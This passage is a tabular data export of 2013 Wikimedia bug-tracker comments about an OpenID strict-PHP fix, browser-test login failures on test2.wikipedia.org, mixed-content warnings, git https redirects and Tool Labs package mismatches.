+238742,Undefined Offsets in OpenIDLogin for Strict PHP,fixed by merging https://gerrit.wikimedia.org/r/71258,,,1372832624,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+238734,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71258 merged by Wikinaut:
+fixed null array error for fullname/email in AX array
+
+https://gerrit.wikimedia.org/r/71258",,,1372832324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238725,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71258 had a related patch set uploaded by Parent5446:
+(bug 50430) Generates null array errors strict php mode for fullname and email
+
+https://gerrit.wikimedia.org/r/71258",,,1372570461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238716,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71256 abandoned by Parent5446:
+Generates null array errors in strict php mode for fullname and email
+
+Reason:
+This is the same as https://gerrit.wikimedia.org/r/71258. I'm guessing there was some error when uploading the patchset.
+
+https://gerrit.wikimedia.org/r/71256",,,1372570430,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+238708,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71256 had a related patch set uploaded by Parent5446:
+(bug 50430) Generates null array errors in strict php mode for fullname and email
+
+https://gerrit.wikimedia.org/r/71256",,,1372570158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238700,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71258 had a related patch set uploaded by Jpond:
+(bug 50430) Generates null array errors strict php mode for fullname and email
+
+https://gerrit.wikimedia.org/r/71258",,,1372560349,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238693,Undefined Offsets in OpenIDLogin for Strict PHP,"Change 71256 had a related patch set uploaded by Jpond:
+(bug 50430) Generates null array errors in strict php mode for fullname and email
+
+https://gerrit.wikimedia.org/r/71256",,,1372556790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238688,Undefined Offsets in OpenIDLogin for Strict PHP,"Hi Jack! Thanks for your patch!
+
+You are welcome to use Developer access
+  https://www.mediawiki.org/wiki/Developer_access
+to submit this as a Git branch directly into Gerrit:
+  https://www.mediawiki.org/wiki/Git/Tutorial
+
+Putting your branch in Git makes it easier to review it quickly.
+Thanks again! We appreciate your contribution.",,,1372535399,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,True,,,-9,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+238683,Undefined Offsets in OpenIDLogin for Strict PHP,"Patch file for REL1_21
+
+Patch file to correct index bug in REL1_21
+
+**Attached**: {F11327}",,,1372533785,,PHID-USER-yfwoua5cg65ujblo3pyn,False,,,PHID-TASK-x3ysesh3fklj3m55mj6t,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52130,fix Login method for test2,"Selenium_user is now a Global account. 
+
+Because of that, login at test2.wikipedia.org redirects to login.wikipedia.org before returning to test2. This is ""SUL"" I believe.
+
+This breaks our idea of what visit() and on() mean in term of pages for logged-in users, and all of the tests that require @login for test2wiki now fail. 
+
+I have disabled the test2 builds until we can resolve how to login both with SUL and without.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49708
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47843",Needs Triage,90.0,1372108980,1373556180.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-s6ejivpq4tcwi66l7olw,task_description,resolved,True,c2,1,False,False,True,-10,True,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+246682,fix Login method for test2,this is a result of bug 50334,,,1372691031,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+246676,fix Login method for test2,"Also see bug 49708, bug 47843",,,1372670746,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+246672,fix Login method for test2,"Change 70986 merged by Cmcmahon:
+Fix logging in at test2.wikipedia.org
+
+https://gerrit.wikimedia.org/r/70986",,,1372434969,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+246669,fix Login method for test2,"Change 70986 had a related patch set uploaded by Zfilipin:
+Fix logging in at test2.wikipedia.org
+
+https://gerrit.wikimedia.org/r/70986",,,1372392824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+246666,fix Login method for test2,moving to https reduced the number of failed tests significantly,,,1372392625,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+246663,fix Login method for test2,"$ export MEDIAWIKI_URL=https://test2.wikipedia.org/wiki/
+$ bundle exec cucumber --tags @test2.wikipedia.org
+...
+33 scenarios (7 failed, 26 passed)
+164 steps (7 failed, 19 skipped, 138 passed)
+11m20.188s",,,1372392591,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0
+246660,fix Login method for test2,"Current status:
+
+$ export MEDIAWIKI_URL=http://test2.wikipedia.org/wiki/
+$ bundle exec cucumber --tags @test2.wikipedia.org
+...
+33 scenarios (14 failed, 19 passed)
+164 steps (14 failed, 48 skipped, 102 passed)
+10m27.891s",,,1372389540,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1
+246656,fix Login method for test2,I think we still need to fix this in the test2 Jenkins builds though.,,,1372375437,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+246649,fix Login method for test2,"Change 70824 merged by Cmcmahon:
+Fix logging in for upload wizard tests
+
+https://gerrit.wikimedia.org/r/70824",,,1372375372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+246644,fix Login method for test2,"Change 70824 had a related patch set uploaded by Zfilipin:
+Fix logging in for upload wizard tests
+
+https://gerrit.wikimedia.org/r/70824",,,1372345419,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+246639,fix Login method for test2,Related URL: https://gerrit.wikimedia.org/r/70824 (Gerrit Change I9ca509a2ee549549540abe53e833a4367bf2a27d),,,1372345417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+246634,fix Login method for test2,"The fix is to set https MEDIAWIKI_URL:
+
+export MEDIAWIKI_URL=https://test2.wikipedia.org/wiki/",,,1372345349,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246629,fix Login method for test2,"Looks like the problem is that when the login form is submitted at http://test2.wikipedia.org/wiki/Special:UserLogin user is redirected to a secure page https://test2.wikipedia.org/wiki/Special:CentralLogin/complete
+
+The tests then try to access http://test2.wikipedia.org/wiki/Special:UploadWizard but the user is not logged in via http but via https so ""Not logged in"" error page appears.",,,1372345170,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0
+246623,fix Login method for test2,"Failed tests at Jenkins machine:
+
+https://wmf.ci.cloudbees.com/job/browsertests-test2.wikipedia.org-linux-firefox/lastCompletedBuild/testReport/",,,1372342829,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246620,fix Login method for test2,"Failed tests on my machine:
+
+$ bundle exec cucumber --tags @test2.wikipedia.org
+Using the default profile...
+---.......F............................................F-----........................................F----............F.F-----------------------------------...F-------
+
+(::) failed steps (::)
+
+expected ""No file by this name exists.\nFile usage\nThere are no pages that link to this file."" to match ""No\\ file\\ by\\ this\\ name\\ exists,\\ but\\ you\\ can\\ upload\\ it\\."" (RSpec::Expectations::ExpectationNotMetError)
+./features/step_definitions/page_steps.rb:28:in `/^page text should contain (.+)$/'
+features/file.feature:12:in `Then page text should contain No file by this name exists, but you can upload it.'
+
+unable to locate element, using {:text=>""Create source"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
+(eval):1:in `process_watir_call'
+./features/step_definitions/page_steps.rb:6:in `/^I click link Create$/'
+./features/step_definitions/math_steps.rb:4:in `/^I am editing page that does not exist$/'
+features/math_readonly.feature:7:in `And I am editing page that does not exist'
+
+unable to locate element, using {:text=>""Date and time"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
+(eval):1:in `process_watir_call'
+./features/step_definitions/preferences_datetime_steps.rb:2:in `/^I click Date and time$/'
+features/preferences_datetime_readonly.feature:8:in `And I click Date and time'
+
+unable to locate element, using {:id=>""mwe-upwiz-tutorial"", :tag_name=>""div""} (Watir::Exception::UnknownObjectException)
+(eval):1:in `process_watir_call'
+./features/step_definitions/upload_wizard_steps.rb:32:in `/^I navigate to Upload Wizard$/'
+features/upload_wizard.feature:6:in `When I navigate to Upload Wizard'
+
+unable to locate element, using {:text=>""Edit"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
+(eval):1:in `process_watir_call'
+./features/step_definitions/visual_editor_steps.rb:36:in `block (2 levels) in <top (required)>'
+./features/step_definitions/visual_editor_steps.rb:35:in `/^I edit the page with a string$/'
+features/visual_editor.feature:9:in `When I edit the page with a string'
+
+Failing Scenarios:
+cucumber features/file.feature:9 # Scenario: Logged-in user goes to file that does not exist
+cucumber features/math_readonly.feature:5 # Scenario: Display simple math
+cucumber features/preferences_datetime_readonly.feature:5 # Scenario: Preferences Date Time
+cucumber features/upload_wizard.feature:8 # Scenario: Navigate to Learn page
+cucumber features/visual_editor.feature:7 # Scenario: Basic edit
+
+33 scenarios (5 failed, 4 skipped, 24 passed)
+164 steps (5 failed, 51 skipped, 108 passed)
+5m30.297s",,,1372342306,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1
+246617,fix Login method for test2,"Chris said: ""upload_wizard.feature, math.feature, visual_editor.feature never navigate to a testable page after logging in""",,,1372342284,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+246615,fix Login method for test2,"
+Still need to fix all @login tests for test2, e.g. math.feature",,,1372281480,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+246609,fix Login method for test2,Related URL: https://gerrit.wikimedia.org/r/70651 (Gerrit Change I69d102ad2d70d272e4a33eb5481f707162b7b2c3),,,1372264743,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+246603,fix Login method for test2,Related URL: https://gerrit.wikimedia.org/r/70639 (Gerrit Change I6467cd14ce6a193c45a803c6798c176dcc7a444a),,,1372257678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51984,VisualEditor: Insecure image links on https,"When I open
+https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit
+I see several warnings like this on Google Chrome:
+
+The page at https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Commons-logo.svg/22px-Commons-logo.svg.png.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371854820,1371855005.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-7ahnfikr3ud3nwuglytr,task_description,resolved,True,c2,1,False,False,True,-10,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+237865,VisualEditor: Insecure image links on https,"
+
+*** This bug has been marked as a duplicate of bug 43015 ***",,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ahnfikr3ud3nwuglytr,task_subcomment,,True,c2,1,True,,,-10,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51827,redirect http deep links on git.wikimedia.org to https,"Having a http deep link to git.wikimedia.org gets not redirected to the https version.
+
+http://git.wikimedia.org/summary/mediawiki%2Fextensions%2FVisualEditor.git -> 404
+
+http://git.wikimedia.org/ -> https://git.wikimedia.org/
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1371656340,1371666651.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-liuyykl74gfznwh5om62,task_description,resolved,True,c2,1,False,False,True,-10,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+253080,redirect http deep links on git.wikimedia.org to https,"
+
+*** This bug has been marked as a duplicate of bug 49305 ***",,,1371666651,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-liuyykl74gfznwh5om62,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+58326,tools-login has different repository than other nodes,"Right now tools-login provide doxygen 1.8 but other nodes only doxygen 1.7
+
+this is not the only inconsistency other packages may have different version as well, it seems that old nodes like tools-exec-01 are using different repository.
+
+This should be somehow resolved, for example we need doxygen 1.8 but on exec nodes we have only 1.7, and what is ever worse I am afraid that some exec nodes provide 1.7 while others provide 1.8
+
+if that is true for other packages too, this may have critical impact for certain jobs which expect same version to exist on all execution nodes
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1383065640,1385144007.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,,False,PHID-TASK-6e5c435b2v7yejeovuwh,task_description,resolved,True,c2,3,True,False,True,8,True,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+261807,tools-login has different repository than other nodes,"With -login having been downgraded to the same version, this unifies all to 1.7.6",,,1385144007,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+261801,tools-login has different repository than other nodes,"Change 97055 merged by coren:
+Tool Labs: install doxygen{,-latex}
+
+https://gerrit.wikimedia.org/r/97055",,,1385143938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+261794,tools-login has different repository than other nodes,"Change 97055 had a related patch set uploaded by coren:
+Tool Labs: install doxygen{,-latex}
+
